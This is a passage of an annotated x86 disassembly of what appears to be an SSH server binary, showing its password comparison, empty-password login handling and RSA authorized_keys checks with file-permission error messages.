0804e9d8  75 7e                   jne     0804ea58 <Unknown0025+0x14c>
0804e9da  80 bd 18 ff ff ff 00    cmpb    $0x0,0xffffff18(%ebp)   ;-232 'x18 xff xff xff' ""
0804e9e1  75 75                   jne     0804ea58 <Unknown0025+0x14c>
0804e9e3  8b 3d e0 db 07 08       mov     0x807dbe0,%edi   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804e9e9  85 ff                   test    %edi,%edi
0804e9eb  74 53                   je      0804ea40 <Unknown0025+0x134>
0804e9ed  fc                      cld
0804e9ee  89 f7                   mov     %esi,%edi
0804e9f0  31 c0                   xor     %eax,%eax
0804e9f2  b9 ff ff ff ff          mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
```

```
0804e9f7  f2 ae                       repnz scas %es:(%edi),%al
0804e9f9  f7 d1                       not     %ecx
0804e9fb  83 ec 0c                    sub     $0xc,%esp
0804e9fe  83 c1 11                    add     $0x11,%ecx
0804ea01  51                          push    %ecx
0804ea02  e8 89 84 00 00              call    08056e90 <Unknown0170>
0804ea07  89 34 24                    mov     %esi,(%esp,1)
0804ea0a  89 c2                       mov     %eax,%edx
0804ea0c  68 6e dc 06 08              push    $0x806dc6e  ;[in .rodata] 1920169263 'x2f x75 x73 x72'
                                                          "/usr/bin/passwd"
0804ea11  68 7e dc 06 08              push    $0x806dc7e  ;[in .rodata] 808529445 'x25 x2e x31 x30' "%.100s
                                                          %.100s"
0804ea16  89 15 b4 7b 07 08           mov     %edx,0x8077bb4  ;[in .data] 0 'x0 x0 x0 x0' ""
0804ea1c  fc                          cld
0804ea1d  31 c0                       xor     %eax,%eax
0804ea1f  89 f7                       mov     %esi,%edi
0804ea21  b9 ff ff ff ff              mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804ea26  f2 ae                       repnz scas %es:(%edi),%al
0804ea28  f7 d1                       not     %ecx
0804ea2a  83 c1 11                    add     $0x11,%ecx
0804ea2d  51                          push    %ecx
0804ea2e  52                          push    %edx
0804ea2f  e8 a8 b8 ff ff              call    0804a2dc <snprintf>
0804ea34  83 c4 14                    add     $0x14,%esp
0804ea37  68 a0 dc 06 08              push    $0x806dca0  ;[in .rodata] 1936941392 'x50 x61 x73 x73' "Password if
                                                          forced to be set at first login."
0804ea3c  eb 0a                       jmp     0804ea48 <Unknown0025+0x13c>
0804ea3e  89 f6                       mov     %esi,%esi
0804ea40  83 ec 0c                    sub     $0xc,%esp
0804ea43  68 e0 dc 06 08              push    $0x806dce0  ;[in .rodata] 1768386380 'x4c x6f x67 x69' "Login
                                                          permitted without a password because the account has no
                                                          password."
0804ea48  e8 2f 7d 00 00              call    0805677c <Unknown0156>
0804ea4d  83 c4 10                    add     $0x10,%esp
0804ea50  b8 01 00 00 00              mov     $0x1,%eax  ;1 'x1 x0 x0 x0' ""
0804ea55  eb 5a                       jmp     0804eab1 <Unknown0025+0x1a5>
0804ea57  90                          nop
0804ea58  83 ec 0c                    sub     $0xc,%esp
0804ea5b  ff b5 14 ff ff ff           pushl   0xffffff14(%ebp)   ;-236 'x14 xff xff xff' ""
0804ea61  e8 aa 84 00 00              call    08056f10 <Unknown0172>
0804ea66  89 3c 24                    mov     %edi,(%esp,1)
0804ea69  e8 a2 84 00 00              call    08056f10 <Unknown0172>
0804ea6e  5b                          pop     %ebx
0804ea6f  80 bd 18 ff ff ff 00        cmpb    $0x0,0xffffff18(%ebp)   ;-232 'x18 xff xff xff' ""
0804ea76  5e                          pop     %esi
0804ea77  74 0f                       je      0804ea88 <Unknown0025+0x17c>
0804ea79  80 bd 19 ff ff ff 00        cmpb    $0x0,0xffffff19(%ebp)   ;-231 'x19 xff xff xff' ""
0804ea80  8d 85 18 ff ff ff           lea     0xffffff18(%ebp),%eax   ;-232 'x18 xff xff xff' ""
0804ea86  75 05                       jne     0804ea8d <Unknown0025+0x181>
0804ea88  b8 28 dd 06 08              mov     $0x806dd28,%eax  ;[in .rodata] 30840 'x78 x78 x0 x0' "xx"
0804ea8d  50                          push    %eax
0804ea8e  ff 75 0c                    pushl   0xc(%ebp)
0804ea91  e8 66 b9 ff ff              call    0804a3fc <crypt>
0804ea96  5a                          pop     %edx
0804ea97  59                          pop     %ecx
0804ea98  8d 95 18 ff ff ff           lea     0xffffff18(%ebp),%edx   ;-232 'x18 xff xff xff' ""
0804ea9e  52                          push    %edx
0804ea9f  50                          push    %eax
0804eaa0  e8 27 b2 ff ff              call    08049ccc <strcmp>
0804eaa5  89 c2                       mov     %eax,%edx
0804eaa7  83 c4 10                    add     $0x10,%esp
0804eaaa  31 c0                       xor     %eax,%eax
0804eaac  85 d2                       test    %edx,%edx
0804eaae  0f 94 c0                    sete    %al
0804eab1  8d 65 f4                    lea     0xfffffff4(%ebp),%esp
0804eab4  5b                          pop     %ebx
0804eab5  5e                          pop     %esi
0804eab6  5f                          pop     %edi
0804eab7  5d                          pop     %ebp
0804eab8  c3                          ret
0804eab9  8d 76 00                    lea     0x0(%esi),%esi


  ;
  ; >---------------------<  Subroutine #  26 >---------------------<
  ;
0804eabc <Unknown0026>:
0804eabc  55                          push    %ebp
0804eabd  89 e5                       mov     %esp,%ebp
0804eabf  57                          push    %edi
0804eac0  56                          push    %esi
0804eac1  53                          push    %ebx
0804eac2  81 ec 18 01 00 00           sub     $0x118,%esp  ;280 'x18 x1 x0 x0' ""
0804eac8  8d 45 c8                    lea     0xffffffc8(%ebp),%eax
```

```
0804eacb   50                        push    %eax
0804eacc   8d 7d d8                  lea     0xffffffd8(%ebp),%edi
0804eacf   8b 75 14                  mov     0x14(%ebp),%esi
0804ead2   8b 5d 0c                  mov     0xc(%ebp),%ebx
0804ead5   89 85 f4 fe ff ff         mov     %eax,0xfffffef4(%ebp)   ;-268 'xf4 xfe xff xff' ""
0804eadb   e8 e8 26 01 00            call    080611c8 <Unknown0319>
0804eae0   89 3c 24                  mov     %edi,(%esp,1)
0804eae3   e8 e0 26 01 00            call    080611c8 <Unknown0319>
0804eae8   8d 45 b8                  lea     0xffffffb8(%ebp),%eax
0804eaeb   89 04 24                  mov     %eax,(%esp,1)
0804eaee   89 85 f0 fe ff ff         mov     %eax,0xfffffef0(%ebp)   ;-272 'xf0 xfe xff xff' ""
0804eaf4   e8 cf 26 01 00            call    080611c8 <Unknown0319>
0804eaf9   83 c4 0c                  add     $0xc,%esp
0804eafc   68 00 01 00 00            push    $0x100   ;256 'x0 x1 x0 x0' ""
0804eb01   ff 75 08                  pushl   0x8(%ebp)
0804eb04   57                        push    %edi
0804eb05   e8 ae 4d 00 00            call    080538b8 <Unknown0084>
0804eb0a   83 c4 0c                  add     $0xc,%esp
0804eb0d   56                        push    %esi
0804eb0e   57                        push    %edi
0804eb0f   57                        push    %edi
0804eb10   e8 cf 2b 01 00            call    080616e4 <Unknown0323>
0804eb15   89 5d 98                  mov     %ebx,0xffffff98(%ebp)
0804eb18   5b                        pop     %ebx
0804eb19   58                        pop     %eax
0804eb1a   ff 75 10                  pushl   0x10(%ebp)
0804eb1d   8d 45 9c                  lea     0xffffff9c(%ebp),%eax
0804eb20   50                        push    %eax
0804eb21   e8 1e 2b 01 00            call    08061644 <Unknown0321>
0804eb26   5a                        pop     %edx
0804eb27   59                        pop     %ecx
0804eb28   56                        push    %esi
0804eb29   8d 45 a8                  lea     0xffffffa8(%ebp),%eax
0804eb2c   50                        push    %eax
0804eb2d   e8 12 2b 01 00            call    08061644 <Unknown0321>
0804eb32   ff 75 08                  pushl   0x8(%ebp)
0804eb35   8d 5d 98                  lea     0xffffff98(%ebp),%ebx
0804eb38   53                        push    %ebx
0804eb39   57                        push    %edi
0804eb3a   ff b5 f4 fe ff ff         pushl   0xfffffef4(%ebp)   ;-268 'xf4 xfe xff xff' ""
0804eb40   e8 cb db 00 00            call    0805c710 <Unknown0241>
0804eb45   83 c4 14                  add     $0x14,%esp
0804eb48   53                        push    %ebx
0804eb49   e8 4e 58 00 00            call    0805439c <Unknown0092>
0804eb4e   c7 04 24 07 00 00 00      movl    $0x7,(%esp,1)   ;7 'x7 x0 x0 x0' ""
0804eb55   e8 ba 74 00 00            call    08056014 <Unknown0138>
0804eb5a   58                        pop     %eax
0804eb5b   ff b5 f4 fe ff ff         pushl   0xfffffef4(%ebp)   ;-268 'xf4 xfe xff xff' ""
0804eb61   e8 3e 75 00 00            call    080560a4 <Unknown0143>
0804eb66   e8 51 75 00 00            call    080560bc <Unknown0144>
0804eb6b   e8 8c 7d 00 00            call    080568fc <Unknown0159>
0804eb70   83 c4 0c                  add     $0xc,%esp
0804eb73   57                        push    %edi
0804eb74   6a 20                     push    $0x20
0804eb76   8d b5 78 ff ff ff         lea     0xffffff78(%ebp),%esi   ;-136 'x78 xff xff xff' "x"
0804eb7c   56                        push    %esi
0804eb7d   8d 9d f8 fe ff ff         lea     0xfffffef8(%ebp),%ebx   ;-264 'xf8 xfe xff xff' ""
0804eb83   e8 b4 ef 00 00            call    0805db3c <Unknown0265>
0804eb88   89 1c 24                  mov     %ebx,(%esp,1)
0804eb8b   e8 e8 64 00 00            call    08055078 <Unknown0110>
0804eb90   83 c4 0c                  add     $0xc,%esp
0804eb93   6a 20                     push    $0x20
0804eb95   56                        push    %esi
0804eb96   53                        push    %ebx
0804eb97   e8 10 65 00 00            call    080550ac <Unknown0111>
0804eb9c   83 c4 0c                  add     $0xc,%esp
0804eb9f   6a 10                     push    $0x10
0804eba1   68 20 fc 07 08           push    $0x807fc20   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804eba6   53                        push    %ebx
0804eba7   e8 00 65 00 00            call    080550ac <Unknown0111>
0804ebac   59                        pop     %ecx
0804ebad   5e                        pop     %esi
0804ebae   8d 85 68 ff ff ff         lea     0xffffff68(%ebp),%eax   ;-152 'x68 xff xff xff' "h"
0804ebb4   53                        push    %ebx
0804ebb5   50                        push    %eax
0804ebb6   e8 bd 65 00 00            call    08055178 <Unknown0112>
0804ebbb   5a                        pop     %edx
0804ebbc   ff b5 f4 fe ff ff         pushl   0xfffffef4(%ebp)   ;-268 'xf4 xfe xff xff' ""
0804ebc2   e8 39 1c 01 00            call    08060800 <Unknown0307>
0804ebc7   89 3c 24                  mov     %edi,(%esp,1)
0804ebca   e8 31 1c 01 00            call    08060800 <Unknown0307>
0804ebcf   58                        pop     %eax
0804ebd0   ff b5 f0 fe ff ff         pushl   0xfffffef0(%ebp)   ;-272 'xf0 xfe xff xff' ""
0804ebd6   e8 25 1c 01 00            call    08060800 <Unknown0307>
```

```
0804ebdb   c7 04 24 08 00 00 00   movl    $0x8,(%esp,1)   ;8 'x8 x0 x0 x0' ""
0804ebe2   e8 d9 77 00 00         call    080563c0 <Unknown0146>
0804ebe7   31 db                  xor     %ebx,%ebx
0804ebe9   83 c4 10               add     $0x10,%esp
0804ebec   8d b5 58 ff ff ff      lea     0xffffff58(%ebp),%esi   ;-168 'x58 xff xff xff' "X"
0804ebf2   89 f6                  mov     %esi,%esi
0804ebf4   e8 ef 7a 00 00         call    080566e8 <Unknown0150>
0804ebf9   88 04 33               mov     %al,(%ebx,%esi,1)
0804ebfc   43                     inc     %ebx
0804ebfd   83 fb 0f               cmp     $0xf,%ebx
0804ec00   76 f2                  jbe     0804ebf4 <Unknown0026+0x138>
0804ec02   8d b5 58 ff ff ff      lea     0xffffff58(%ebp),%esi   ;-168 'x58 xff xff xff' "X"
0804ec08   8d bd 68 ff ff ff      lea     0xffffff68(%ebp),%edi   ;-152 'x68 xff xff xff' "h"
0804ec0e   b9 10 00 00 00         mov     $0x10,%ecx   ;16 'x10 x0 x0 x0' ""
0804ec13   fc                     cld
0804ec14   f3 a6                  repz cmpsb %es:(%edi),%ds:(%esi)
0804ec16   0f 97 c1               seta    %cl
0804ec19   0f 92 c2               setb    %dl
0804ec1c   31 c0                  xor     %eax,%eax
0804ec1e   38 d1                  cmp     %dl,%cl
0804ec20   0f 94 c0               sete    %al
0804ec23   8d 65 f4               lea     0xfffffff4(%ebp),%esp
0804ec26   5b                     pop     %ebx
0804ec27   5e                     pop     %esi
0804ec28   5f                     pop     %edi
0804ec29   5d                     pop     %ebp
0804ec2a   c3                     ret
0804ec2b   90                     nop


  ;
  ; >---------------------<  Subroutine #  27 >---------------------<
  ;
0804ec2c <Unknown0027>:
0804ec2c   55                     push    %ebp
0804ec2d   89 e5                  mov     %esp,%ebp
0804ec2f   57                     push    %edi
0804ec30   56                     push    %esi
0804ec31   53                     push    %ebx
0804ec32   83 ec 0c               sub     $0xc,%esp
0804ec35   31 c0                  xor     %eax,%eax
0804ec37   8b 7d 0c               mov     0xc(%ebp),%edi
0804ec3a   fc                     cld
0804ec3b   b9 ff ff ff ff         mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804ec40   f2 ae                  repnz scas %es:(%edi),%al
0804ec42   8b 75 08               mov     0x8(%ebp),%esi
0804ec45   89 ca                  mov     %ecx,%edx
0804ec47   89 f7                  mov     %esi,%edi
0804ec49   b9 ff ff ff ff         mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804ec4e   f2 ae                  repnz scas %es:(%edi),%al
0804ec50   f7 d2                  not     %edx
0804ec52   f7 d1                  not     %ecx
0804ec54   8d 5a ff               lea     0xffffffff(%edx),%ebx
0804ec57   49                     dec     %ecx
0804ec58   39 d9                  cmp     %ebx,%ecx
0804ec5a   73 04                  jae     0804ec60 <Unknown0027+0x34>
0804ec5c   31 c0                  xor     %eax,%eax
0804ec5e   eb 4d                  jmp     0804ecad <Unknown0027+0x81>
0804ec60   83 ec 0c               sub     $0xc,%esp
0804ec63   52                     push    %edx
0804ec64   e8 27 82 00 00         call    08056e90 <Unknown0170>
0804ec69   31 c9                  xor     %ecx,%ecx
0804ec6b   83 c4 10               add     $0x10,%esp
0804ec6e   39 d9                  cmp     %ebx,%ecx
0804ec70   89 c7                  mov     %eax,%edi
0804ec72   7d 15                  jge     0804ec89 <Unknown0027+0x5d>
0804ec74   0f be 04 31            movsbl  (%ecx,%esi,1),%eax
0804ec78   8b 15 00 9c 07 08      mov     0x8079c00,%edx   ;[in .bss] 1128482560 'x0 x47 x43 x43' ""
0804ec7e   8b 04 82               mov     (%edx,%eax,4),%eax
0804ec81   88 04 39               mov     %al,(%ecx,%edi,1)
0804ec84   41                     inc     %ecx
0804ec85   39 d9                  cmp     %ebx,%ecx
0804ec87   7c eb                  jl      0804ec74 <Unknown0027+0x48>
0804ec89   83 ec 08               sub     $0x8,%esp
0804ec8c   c6 04 39 00            movb    $0x0,(%ecx,%edi,1)
0804ec90   ff 75 0c               pushl   0xc(%ebp)
0804ec93   57                     push    %edi
0804ec94   e8 33 b0 ff ff         call    08049ccc <strcmp>
0804ec99   89 c3                  mov     %eax,%ebx
0804ec9b   89 3c 24               mov     %edi,(%esp,1)
0804ec9e   e8 6d 82 00 00         call    08056f10 <Unknown0172>
0804eca3   83 c4 10               add     $0x10,%esp
0804eca6   31 c0                  xor     %eax,%eax
0804eca8   85 db                  test    %ebx,%ebx
```

```
0804ecaa   0f 94 c0               sete    %al
0804ecad   8d 65 f4               lea     0xfffffff4(%ebp),%esp
0804ecb0   5b                     pop     %ebx
0804ecb1   5e                     pop     %esi
0804ecb2   5f                     pop     %edi
0804ecb3   5d                     pop     %ebp
0804ecb4   c3                     ret
0804ecb5   8d 76 00               lea     0x0(%esi),%esi


  ;
  ; >---------------------<  Subroutine #  28 >---------------------<
  ;
0804ecb8 <Unknown0028>:
0804ecb8   55                     push    %ebp
0804ecb9   89 e5                  mov     %esp,%ebp
0804ecbb   57                     push    %edi
0804ecbc   56                     push    %esi
0804ecbd   53                     push    %ebx
0804ecbe   81 ec b8 20 00 00      sub     $0x20b8,%esp  ;8376 'xb8 x20 x0 x0' ""
0804ecc4   68 40 dd 06 08         push    $0x806dd40  ;[in .rodata] 1752396590 'x2e x73 x73 x68' ".ssh"
0804ecc9   8b 45 08               mov     0x8(%ebp),%eax
0804eccc   c7 85 54 df ff ff 00 00 00 00  movl  $0x0,0xffffdf54(%ebp)  ;0 'x0 x0 x0 x0' ""
0804ecd6   ff 70 14               pushl   0x14(%eax)
0804ecd9   68 45 dd 06 08         push    $0x806dd45  ;[in .rodata] 808791589 'x25 x2e x35 x30'
                                                       "%.500s/%.100s"
0804ecde   68 00 20 00 00         push    $0x2000  ;8192 'x0 x20 x0 x0' ""
0804ece3   8d 85 e8 df ff ff      lea     0xffffdfe8(%ebp),%eax  ;-8216 'xe8 xdf xff xff' ""
0804ece9   8b 75 14               mov     0x14(%ebp),%esi
0804ecec   50                     push    %eax
0804eced   e8 ea b5 ff ff         call    0804a2dc <snprintf>
0804ecf2   83 c4 20               add     $0x20,%esp
0804ecf5   85 f6                  test    %esi,%esi
0804ecf7   74 3b                  je      0804ed34 <Unknown0028+0x7c>
0804ecf9   83 ec 08               sub     $0x8,%esp
0804ecfc   8b 45 08               mov     0x8(%ebp),%eax
0804ecff   ff 70 14               pushl   0x14(%eax)
0804ed02   50                     push    %eax
0804ed03   e8 a8 05 01 00         call    0805f2b0 <Unknown0292>
0804ed08   83 c4 10               add     $0x10,%esp
0804ed0b   85 c0                  test    %eax,%eax
0804ed0d   75 25                  jne     0804ed34 <Unknown0028+0x7c>
0804ed0f   53                     push    %ebx
0804ed10   8b 45 08               mov     0x8(%ebp),%eax
0804ed13   ff 70 14               pushl   0x14(%eax)
0804ed16   ff 30                  pushl   (%eax)
0804ed18   68 60 dd 06 08         push    $0x806dd60  ;[in .rodata] 543257426 'x52 x73 x61 x20' "Rsa
                                                       authentication refused for %.100s: bad modes for
                                                       %.200s"
0804ed1d   e8 fa 0e 00 00         call    0804fc1c <Unknown0036>
0804ed22   5a                     pop     %edx
0804ed23   59                     pop     %ecx
0804ed24   8b 45 08               mov     0x8(%ebp),%eax
0804ed27   ff 70 14               pushl   0x14(%eax)
0804ed2a   68 9c dd 06 08         push    $0x806dd9c  ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad file
                                                       modes for %.200s"
0804ed2f   e9 2c 01 00 00         jmp     0804ee60 <Unknown0028+0x1a8>  ;300 'x2c x1 x0 x0' ","
0804ed34   50                     push    %eax
0804ed35   8d 85 68 df ff ff      lea     0xffffdf68(%ebp),%eax  ;-8344 'x68 xdf xff xff' "h"
0804ed3b   50                     push    %eax
0804ed3c   8d 9d e8 df ff ff      lea     0xffffdfe8(%ebp),%ebx  ;-8216 'xe8 xdf xff xff' ""
0804ed42   53                     push    %ebx
0804ed43   8b 45 08               mov     0x8(%ebp),%eax
0804ed46   ff 70 08               pushl   0x8(%eax)
0804ed49   e8 46 02 01 00         call    0805ef94 <Unknown0287>
0804ed4e   83 c4 10               add     $0x10,%esp
0804ed51   85 c0                  test    %eax,%eax
0804ed53   79 1f                  jns     0804ed74 <Unknown0028+0xbc>
0804ed55   57                     push    %edi
0804ed56   53                     push    %ebx
0804ed57   8b 45 08               mov     0x8(%ebp),%eax
0804ed5a   ff 30                  pushl   (%eax)
0804ed5c   68 c0 dd 06 08         push    $0x806ddc0  ;[in .rodata] 543257426 'x52 x73 x61 x20' "Rsa
                                                       authentication refused for %.100s: no %.200s directory"
0804ed61   e8 b6 0e 00 00         call    0804fc1c <Unknown0036>
0804ed66   59                     pop     %ecx
0804ed67   5e                     pop     %esi
0804ed68   53                     push    %ebx
0804ed69   68 00 de 06 08         push    $0x806de00  ;[in .rodata] 543257426 'x52 x73 x61 x20' "Rsa
                                                       authentication refused, no %.200s directory"
0804ed6e   e9 ed 00 00 00         jmp     0804ee60 <Unknown0028+0x1a8>  ;237 'xed x0 x0 x0' ""
0804ed73   90                     nop
0804ed74   85 f6                  test    %esi,%esi
0804ed76   74 34                  je      0804edac <Unknown0028+0xf4>
```

```
0804ed78   83 ec 08            sub    $0x8,%esp
0804ed7b   53                  push   %ebx
0804ed7c   ff 75 08            pushl  0x8(%ebp)
0804ed7f   e8 2c 05 01 00      call   0805f2b0 <Unknown0292>
0804ed84   83 c4 10            add    $0x10,%esp
0804ed87   85 c0               test   %eax,%eax
0804ed89   75 21               jne    0804edac <Unknown0028+0xf4>
0804ed8b   52                  push   %edx
0804ed8c   53                  push   %ebx
0804ed8d   8b 45 08            mov    0x8(%ebp),%eax
0804ed90   ff 30               pushl  (%eax)
0804ed92   68 60 dd 06 08      push   $0x806dd60   ;[in .rodata] 543257426 'x52 x73 x61 x20' "Rsa
                                                   authentication refused for %.100s: bad modes for
                                                   %.200s"
0804ed97   e8 80 0e 00 00      call   0804fc1c <Unknown0036>
0804ed9c   5f                  pop    %edi
0804ed9d   58                  pop    %eax
0804ed9e   53                  push   %ebx
0804ed9f   68 9c dd 06 08      push   $0x806dd9c   ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad file
                                                   modes for %.200s"
0804eda4   e9 b7 00 00 00      jmp    0804ee60 <Unknown0028+0x1a8>  ;183 'xb7 x0 x0 x0' ""
0804eda9   8d 76 00            lea    0x0(%esi),%esi
0804edac   83 ec 0c            sub    $0xc,%esp
0804edaf   68 30 de 06 08      push   $0x806de30   ;[in .rodata] 1752396590 'x2e x73 x73 x68'
                                                   ".ssh/authorized_keys"
0804edb4   8b 45 08            mov    0x8(%ebp),%eax
0804edb7   ff 70 14            pushl  0x14(%eax)
0804edba   68 45 dd 06 08      push   $0x806dd45   ;[in .rodata] 808791589 'x25 x2e x35 x30'
                                                   "%.500s/%.100s"
0804edbf   68 00 20 00 00      push   $0x2000   ;8192 'x0 x20 x0 x0' ""
0804edc4   8d 9d e8 df ff ff   lea    0xffffdfe8(%ebp),%ebx   ;-8216 'xe8 xdf xff xff' ""
0804edca   53                  push   %ebx
0804edcb   e8 0c b5 ff ff      call   0804a2dc <snprintf>
0804edd0   83 c4 1c            add    $0x1c,%esp
0804edd3   8d 85 68 df ff ff   lea    0xffffdf68(%ebp),%eax   ;-8344 'x68 xdf xff xff' "h"
0804edd9   50                  push   %eax
0804edda   53                  push   %ebx
0804eddb   8b 45 08            mov    0x8(%ebp),%eax
0804edde   ff 70 08            pushl  0x8(%eax)
0804ede1   e8 ae 01 01 00      call   0805ef94 <Unknown0287>
0804ede6   83 c4 10            add    $0x10,%esp
0804ede9   85 c0               test   %eax,%eax
0804edeb   79 07               jns    0804edf4 <Unknown0028+0x13c>
0804eded   31 c0               xor    %eax,%eax
0804edef   e9 dc 07 00 00      jmp    0804f5d0 <Unknown0029+0x740>   ;2012 'xdc x7 x0 x0' ""
0804edf4   85 f6               test   %esi,%esi
0804edf6   74 30               je     0804ee28 <Unknown0028+0x170>
0804edf8   83 ec 08            sub    $0x8,%esp
0804edfb   53                  push   %ebx
0804edfc   ff 75 08            pushl  0x8(%ebp)
0804edff   e8 ac 04 01 00      call   0805f2b0 <Unknown0292>
0804ee04   83 c4 10            add    $0x10,%esp
0804ee07   85 c0               test   %eax,%eax
0804ee09   75 1d               jne    0804ee28 <Unknown0028+0x170>
0804ee0b   56                  push   %esi
0804ee0c   53                  push   %ebx
0804ee0d   8b 45 08            mov    0x8(%ebp),%eax
0804ee10   ff 30               pushl  (%eax)
0804ee12   68 60 dd 06 08      push   $0x806dd60   ;[in .rodata] 543257426 'x52 x73 x61 x20' "Rsa
                                                   authentication refused for %.100s: bad modes for
                                                   %.200s"
0804ee17   e8 00 0e 00 00      call   0804fc1c <Unknown0036>
0804ee1c   5a                  pop    %edx
0804ee1d   59                  pop    %ecx
0804ee1e   53                  push   %ebx
0804ee1f   68 9c dd 06 08      push   $0x806dd9c   ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad file
                                                   modes for %.200s"
0804ee24   eb 3a               jmp    0804ee60 <Unknown0028+0x1a8>
0804ee26   89 f6               mov    %esi,%esi
0804ee28   6a 00               push   $0x0
0804ee2a   6a 00               push   $0x0
0804ee2c   8d 9d e8 df ff ff   lea    0xffffdfe8(%ebp),%ebx   ;-8216 'xe8 xdf xff xff' ""
0804ee32   53                  push   %ebx
0804ee33   8b 45 08            mov    0x8(%ebp),%eax
0804ee36   ff 70 08            pushl  0x8(%eax)
0804ee39   e8 62 fb 00 00      call   0805e9a0 <Unknown0279>
0804ee3e   83 c4 10            add    $0x10,%esp
0804ee41   85 c0               test   %eax,%eax
0804ee43   89 85 58 df ff ff   mov    %eax,0xffffdf58(%ebp)   ;-8360 'x58 xdf xff xff' "X"
0804ee49   75 21               jne    0804ee6c <Unknown0028+0x1b4>
0804ee4b   83 ec 08            sub    $0x8,%esp
0804ee4e   53                  push   %ebx
0804ee4f   68 60 de 06 08      push   $0x806de60   ;[in .rodata] 1819635523 'x43 x6f x75 x6c' "Could not
```

open %.900s for reading."

```
0804ee54  e8 23 79 00 00          call   0805677c <Unknown0156>
0804ee59  c7 04 24 a0 de 06 08    movl   $0x806dea0,(%esp,1)  ;[in .rodata] 2032166473 'x49 x66 x20 x79' "If
                                                               your home is on an NFS volume, it may need to
                                                               be world-readable."
0804ee60  e8 17 79 00 00          call   0805677c <Unknown0156>
0804ee65  31 c0                   xor    %eax,%eax
0804ee67  e9 64 07 00 00          jmp    0804f5d0 <Unknown0029+0x740>  ;1892 'x64 x7 x0 x0' "d"
0804ee6c  83 ec 0c                sub    $0xc,%esp
0804ee6f  8d 85 d8 df ff ff       lea    0xffffdfd8(%ebp),%eax  ;-8232 'xd8 xdf xff xff' ""
0804ee75  50                      push   %eax
0804ee76  c7 85 5c df ff ff 00 00 00 00  movl   $0x0,0xffffdf5c(%ebp)  ;0 'x0 x0 x0 x0' ""
0804ee80  e8 43 23 01 00          call   080611c8 <Unknown0319>
0804ee85  8d 85 c8 df ff ff       lea    0xffffdfc8(%ebp),%eax  ;-8248 'xc8 xdf xff xff' ""
0804ee8b  89 04 24                mov    %eax,(%esp,1)
0804ee8e  e8 35 23 01 00          call   080611c8 <Unknown0319>


  ;
  ; >--------------------<  Subroutine #  29 >--------------------<
  ;
0804ee90 <Unknown0029>:
0804ee90  23 01                   and    (%ecx),%eax
0804ee92  00 83 c4 10 e9 c5       add    %al,0xc5e910c4(%ebx)  ;-974581564 'xc4 x10 xe9 xc5' ""
0804ee98  06                      push   %es
0804ee99  00 00                   add    %al,(%eax)
0804ee9b  90                      nop
0804ee9c  8d 85 e8 df ff ff       lea    0xffffdfe8(%ebp),%eax  ;-8216 'xe8 xdf xff xff' ""
0804eea2  89 85 60 df ff ff       mov    %eax,0xffffdf60(%ebp)  ;-8352 'x60 xdf xff xff' "`"
0804eea8  89 c1                   mov    %eax,%ecx
0804eeaa  8a 85 e8 df ff ff       mov    0xffffdfe8(%ebp),%al  ;-8216 'xe8 xdf xff xff' ""
0804eeb0  ff 85 54 df ff ff       incl   0xffffdf54(%ebp)  ;-8364 'x54 xdf xff xff' "T"
0804eeb6  eb 0d                   jmp    0804eec5 <Unknown0029+0x35>
0804eeb8  8d 41 01                lea    0x1(%ecx),%eax
0804eebb  89 85 60 df ff ff       mov    %eax,0xffffdf60(%ebp)  ;-8352 'x60 xdf xff xff' "`"
0804eec1  89 c1                   mov    %eax,%ecx
0804eec3  8a 01                   mov    (%ecx),%al
0804eec5  3c 20                   cmp    $0x20,%al
0804eec7  74 ef                   je     0804eeb8 <Unknown0029+0x28>
0804eec9  3c 09                   cmp    $0x9,%al
0804eecb  74 eb                   je     0804eeb8 <Unknown0029+0x28>
0804eecd  8a 11                   mov    (%ecx),%dl
0804eecf  84 d2                   test   %dl,%dl
0804eed1  0f 84 89 06 00 00       je     0804f560 <Unknown0029+0x6d0>  ;1673 'x89 x6 x0 x0' ""
0804eed7  80 fa 0a                cmp    $0xa,%dl
0804eeda  0f 84 80 06 00 00       je     0804f560 <Unknown0029+0x6d0>  ;1664 'x80 x6 x0 x0' ""
0804eee0  80 fa 23                cmp    $0x23,%dl
0804eee3  0f 84 77 06 00 00       je     0804f560 <Unknown0029+0x6d0>  ;1655 'x77 x6 x0 x0' "w"
0804eee9  8d 42 d0                lea    0xffffffd0(%edx),%eax
0804eeec  3c 09                   cmp    $0x9,%al
0804eeee  76 5c                   jbe    0804ef4c <Unknown0029+0xbc>
0804eef0  31 f6                   xor    %esi,%esi
0804eef2  84 d2                   test   %dl,%dl
0804eef4  89 cb                   mov    %ecx,%ebx
0804eef6  74 56                   je     0804ef4e <Unknown0029+0xbe>
0804eef8  80 fa 20                cmp    $0x20,%dl
0804eefb  74 51                   je     0804ef4e <Unknown0029+0xbe>
0804eefd  80 fa 09                cmp    $0x9,%dl
0804ef00  74 4c                   je     0804ef4e <Unknown0029+0xbe>
0804ef02  89 f6                   mov    %esi,%esi
0804ef04  80 39 5c                cmpb   $0x5c,(%ecx)
0804ef07  75 13                   jne    0804ef1c <Unknown0029+0x8c>
0804ef09  80 79 01 22             cmpb   $0x22,0x1(%ecx)
0804ef0d  75 0d                   jne    0804ef1c <Unknown0029+0x8c>
0804ef0f  8d 41 01                lea    0x1(%ecx),%eax
0804ef12  89 85 60 df ff ff       mov    %eax,0xffffdf60(%ebp)  ;-8352 'x60 xdf xff xff' "`"
0804ef18  89 c1                   mov    %eax,%ecx
0804ef1a  eb 0e                   jmp    0804ef2a <Unknown0029+0x9a>
0804ef1c  80 39 22                cmpb   $0x22,(%ecx)
0804ef1f  75 09                   jne    0804ef2a <Unknown0029+0x9a>
0804ef21  31 c0                   xor    %eax,%eax
0804ef23  85 f6                   test   %esi,%esi
0804ef25  0f 94 c0                sete   %al
0804ef28  89 c6                   mov    %eax,%esi
0804ef2a  8d 41 01                lea    0x1(%ecx),%eax
0804ef2d  89 85 60 df ff ff       mov    %eax,0xffffdf60(%ebp)  ;-8352 'x60 xdf xff xff' "`"
0804ef33  89 c1                   mov    %eax,%ecx
0804ef35  8a 01                   mov    (%ecx),%al
0804ef37  84 c0                   test   %al,%al
0804ef39  74 13                   je     0804ef4e <Unknown0029+0xbe>
